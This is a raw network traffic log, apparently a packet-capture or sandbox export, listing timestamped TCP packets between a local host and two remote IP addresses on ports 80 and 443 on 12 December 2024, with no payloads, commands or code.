Dec 12, 2024 14:26:30.280802965 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.280854940 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.280946016 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.280987978 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.281827927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.281840086 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.281955957 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.282102108 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.282114983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.282166004 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.282921076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.282934904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.282977104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.283569098 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.283620119 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.283693075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.283735991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.284471989 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.284523964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.284951925 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.285006046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.285351992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.285398960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.286031961 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.286117077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.286398888 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.286442995 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.287041903 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.287107944 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.287141085 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.287189960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.287286997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.287333012 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.288002968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.288016081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.288054943 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.288981915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.289040089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.289097071 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.289210081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.289822102 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.289865971 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.290237904 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.290282011 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.290719032 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.290731907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.290766001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.290780067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.291573048 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.291632891 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.291724920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.291765928 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.292435884 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.292510986 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.292552948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.292587996 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.293272018 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.293313026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.293585062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.293626070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.294225931 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.294267893 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.294687986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.294724941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.295120001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.295159101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.295897007 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.295938969 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.295970917 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.295983076 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.296030998 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.297059059 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.297070980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.297111034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.297852039 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.297888041 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.298204899 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.298257113 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.298719883 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.298759937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.298836946 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.298877001 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.299567938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.299618959 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.299988031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.300049067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.300400019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.300412893 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.300446987 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.300461054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.301311970 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.301356077 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.301636934 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.301680088 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.448065996 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.448096037 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.448122025 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.448251009 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.448386908 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.448532104 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.448561907 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.448606968 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.448709011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.448926926 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.449249983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.449264050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.449378967 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.450094938 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.450365067 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.450392008 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.450432062 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.450994015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.451008081 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.451035976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.451153994 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.451896906 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.451910019 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.451946020 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.452007055 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.452653885 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.452764034 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.453286886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.453344107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.453627110 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.453680038 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.453717947 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.453757048 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.454447031 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.454557896 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.454828978 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.454971075 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.455342054 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.455435991 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.455773115 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.455827951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.456255913 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.456269026 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.456327915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.456327915 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.457283974 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.457304955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.457360983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.457360983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.458115101 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.458159924 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.458890915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.459002018 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.459146023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.459342003 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.459422112 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.459523916 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.460134983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.460149050 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.460184097 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.460253954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.460788012 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.460800886 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.460854053 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.461724997 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.461817980 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.462204933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.462260962 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.462503910 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.462517023 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.462555885 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.462604046 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.463462114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.463504076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.463558912 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.463614941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.464236021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.464276075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.464323997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.464323997 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.465411901 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.465425968 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.465466022 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.465507984 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.466018915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.466077089 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.466115952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.466154099 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.466923952 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.466995955 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.467015982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.467098951 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.467803955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.467860937 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.467941999 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.467991114 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.468718052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.468730927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.468767881 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.468811989 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.469507933 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.469561100 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.470381021 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.470392942 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.470452070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.470452070 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.471015930 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.471062899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.471364975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.471422911 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.471472979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.471472979 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.472274065 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.472286940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.472322941 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.472383976 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.473398924 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.473411083 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.473450899 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.473484993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.473958015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.473970890 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.474000931 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.474153042 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.474818945 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.474879980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.474917889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.474919081 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.475847960 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.475860119 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.475905895 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.475945950 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.476686001 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.476699114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.476742029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.476881981 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.477714062 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.477725983 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.477791071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.477791071 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.478316069 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.478441000 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.478585005 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.478698015 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.479372025 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.479492903 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.479573011 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.479635954 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.480396986 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.480411053 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.480451107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.480451107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.481664896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.481679916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.481714964 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.481777906 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.482775927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.482793093 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.482834101 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.482844114 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.482858896 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.482875109 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.482908010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.482908010 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.483812094 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.483875990 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.484565973 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.484580040 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.484592915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.484639883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.484639883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.485712051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.485816956 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.485927105 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.486007929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.486347914 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.486361980 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.486385107 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.486433029 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.487366915 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.487445116 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.488094091 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.488107920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.488137960 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.488223076 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.488399982 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.488507032 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.489103079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.489124060 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.489155054 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.489170074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.490277052 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.490289927 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.490328074 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.490380049 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.491370916 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.491384029 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.491424084 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.491482019 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.491646051 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.491658926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.491689920 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.491705894 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.492697954 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.492712975 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.492749929 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.492866993 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.493449926 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.493463993 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.493501902 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.493541002 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.538945913 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:30.538989067 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:30.539047956 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:30.549804926 CET	49826	443	192.168.2.4	94.154.172.218
Dec 12, 2024 14:26:30.549819946 CET	443	49826	94.154.172.218	192.168.2.4
Dec 12, 2024 14:26:30.640270948 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.640294075 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.640358925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.640358925 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.640655994 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.640671015 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.640846014 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.641518116 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.641643047 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.642362118 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.642374992 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.642417908 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.642419100 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.642469883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.643532038 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.643717051 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.643773079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.643832922 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.644215107 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.644263983 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.644372940 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.644435883 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.645015955 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.645165920 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.645174026 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.645421982 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.645950079 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.646020889 CET	49801	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:30.646083117 CET	80	49801	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:30.646140099 CET	49801	80	192.168.2.4	31.41.244.11
